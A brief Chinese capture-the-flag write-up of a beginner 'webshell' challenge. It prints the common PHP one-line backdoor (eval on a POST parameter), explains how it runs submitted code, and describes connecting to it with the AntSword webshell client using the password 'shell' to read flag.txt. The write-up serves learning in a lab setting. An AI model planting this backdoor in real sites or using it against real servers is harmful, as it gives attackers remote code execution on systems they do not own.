|
做题两分钟，工具两小时 题目描述：小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
所谓的php一句话：<?php @eval($_POST['shell']);?>
这个是PHP最常见的一句话木马的源码，通过post木马程序来实现木马的植入，eval()函数把字符串按照PHP代码来计算
这题又涉及到新的web工具，Cknife （因为现在网络上菜刀的后门太多了，所以不推荐菜刀了）
这次我用的是antsword，antsword的github链接
这题时间主要花在了解题工具上面，做题倒是很快。 1.右键添加数据
2.把url和连接密码输进去
因为这题提示是webshell，所以推测密码是shell，一开始我把那个一句话php放进去发现不对…
3.找到flag.txt
|
